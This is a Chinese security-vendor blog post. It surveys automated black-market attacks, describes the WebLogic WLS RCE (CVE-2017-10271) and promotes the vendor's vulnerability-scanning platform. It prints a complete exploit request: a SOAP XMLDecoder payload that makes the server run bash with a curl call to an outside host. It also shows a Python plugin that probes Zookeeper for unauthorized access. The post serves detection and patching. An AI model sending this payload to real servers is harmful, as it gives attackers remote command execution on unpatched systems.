科普下黑产攻击者自动化
徐玉玉学费被骗致死,比特币勒索病毒WannaCry全球爆发,网站木马造成***被盗刷……近年来,因网络漏洞导致的恶性安全事件时有发生,影响到人们生活的方方面面。同时,蠕虫病毒、勒索软件、网站篡改、入侵物联网设备等新的网络攻击形式也在不断变化和增加,破坏性加剧。
黑产攻击者非常喜欢使用粗暴的漏洞进行批量化,从安识科技应急响应处理的数百个案例来看,攻击者大多数是利用redis,docker等未授权,java RMI命令执行漏洞,反序列化漏洞,ssh,mysql,rdp,Tomcat等弱口令自动化攻击,自动化执行DDOS或者挖矿程序,甚至是勒索软件病毒加密,给企业造成巨大的危害。
越发严峻的信息安全形势,促使网络安全市场发展提速。部分中小企业,安全意识薄弱,预算少且缺乏运营团队,面临着突出的安全风险,进而对全行业构成隐患。如何打破边界,开放合作,建立全产业联动的安全生态新模式,成为业界关注的焦点,保护商业大环境的安全已经迫在眉睫。
简介下WebLogic WLS 组件命令执行漏洞
漏洞名称 | WebLogic WLS 组件命令执行漏洞 |
漏洞描述 | CVE-2017-10271是一个最新的利用Oracle WebLogic中WLS 组件的远程代码执行漏洞,属于没有公开细节的野外利用漏洞,大量企业尚未及时安装补丁。官方在 2017 年 10 月份发布了该漏洞的补丁。 |
潜在危害 | 该漏洞的利用方法较为简单,攻击者只需要发送精心构造的 HTTP 请求,就可以拿到目标服务器的权限,危害巨大。攻击者能够同时攻击Windows及Linux主机,并在目标中长期潜伏。 |
修复建议 | 登录Oracle官方网站,下载WebLogic十月份补丁并安装 |
攻击POC如下:
POST /wls-wsat/CoordinatorPortType?wsdl HTTP/1.1
Host: www.secpulse.com:7001
Accept-Encoding: identity
Content-Length: 826
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Referer: http://www.baidu.com
Cache-Control: max-age=0
Content-Type: text/xml
X-Forwarded-For: 127.0.0.1
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>curl http://www.secpulse.com:9090/</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
安识的老司机分分钟就写好了个py小工具,搭建了个漏洞环境进行了成功复现测试。
但是如何把这个插件合理化、专业产品化输出到伏特分布式漏洞扫描平台给广大厂商自检自查呢?
突如其来的伏特简介
文字太累,要说的话都在图里面啦。
快速使用伏特自检WebLogic安全漏洞
伏特分布式漏洞扫描云平台支持生态插件功能,里面有大量安全专家编写的插件功能,这些插件在伏特后端智能加载到主被动扫描引擎,从而为企业检测出安全漏洞并且提供专业修复意见协助漏洞修复。
企业可以快速方便的在伏特选择某一个插件进行批量高级扫描,或者选择某一个端口进行弱密码相关爆破。
如我们的demo插件案例(Zookeeper未授权访问漏洞)写法:
#!/usr/bin/env python
#coding:utf-8
from dummy import *
import socket
class TScript_Info():
def __init__(self, request=None, response=None):
self.info = {}
self.info['auther'] = "安识小王子" # 插件作者
self.info['create_date'] = "2017-07-01" # 插件编辑时间
self.info['algroup'] = "Zookeeper未授权访问" # 漏洞名称
self.info['affects'] = "信息泄露" # 漏洞影响
self.info['parameter'] = "zookeeper_unaccess_script" # 插件名称
self.info['desc_content'] = "该漏洞会泄露服务器环境变量配置信息, 为攻击者下一步提供信息!" # 漏洞描述
self.info['impact_content'] = "泄露系统敏感信息,如应用绝对路径、代理配置信息等。" # 潜在危害
self.info['recm_content'] = "设置IP白名单访问或对进行授权限制。" # 修复建议
self.info['request'] = request # http请求信息, 默认为空
self.info['response'] = response # http响应信息, 默认为空
def assign(service, arg): # 此函数为检测服务类型是否符合预期
"""
1. 系统调用payload前,首先会判断服务类型(插件调用前会进行cms指纹识别),如果符合服务类型,则会继续进行检查。
2. 如果目标为web服务,但未检测出更精确cms指纹, 默认会给出www服务类型。
3. 如果目标为其他服务, 如ssh、mysql等,默认会给一个IP的服务类型。
4. 因此如果您的插件需要检测web相关漏洞,可指定对应的service为www或更精准的类型如phpmyadmin,如果不确定能识别到该cms指纹, 直接填www即可。 反之,如果是检测服务漏洞,填写service为ip即可。
"""
if service.lower() == 'ip': # 这里检测的时目录穿越漏洞, 属于web漏洞, 因此这里选择servive为www
return True, arg
else:
return False, False
def audit(arg): # 此函数为验证具体漏洞
if arg:
try:
socket.setdefaulttimeout(2)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((arg, int(2181)))
flag = "envi"
s.send(flag)
data = s.recv(1024)
s.close()
if 'Environment' in data:
warning_info = arg + ' ' + "Zookeeper Unauthorized access"
_t = TScript_Info(response=data)
security_warning(warning_info, _t.info)
print warning_info, data
except:
pass
if __name__ == '__main__':
audit(assign('ip', 'www.secpulse.com')[1])
那如何写好“WebLogic WLS 组件命令执行漏洞”插件呢?
主要思路还是依据上述漏洞POC模拟发送curl命令,然后去我们的dnslog平台捕获结果自动化反馈确认。
部分代码如下:
如下图 我们在伏特分布式漏洞扫描平台里面成功使用该插件发现WebLogic WLS 组件命令执行漏洞"漏洞,并且合理全面的告知企业。
目前伏特分布式漏洞扫描平台已经集成数千枚专业的安全插件。
so,快来体验一下伏特分布式漏洞扫描平台吧!
本文作者:安识科技
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/66576.html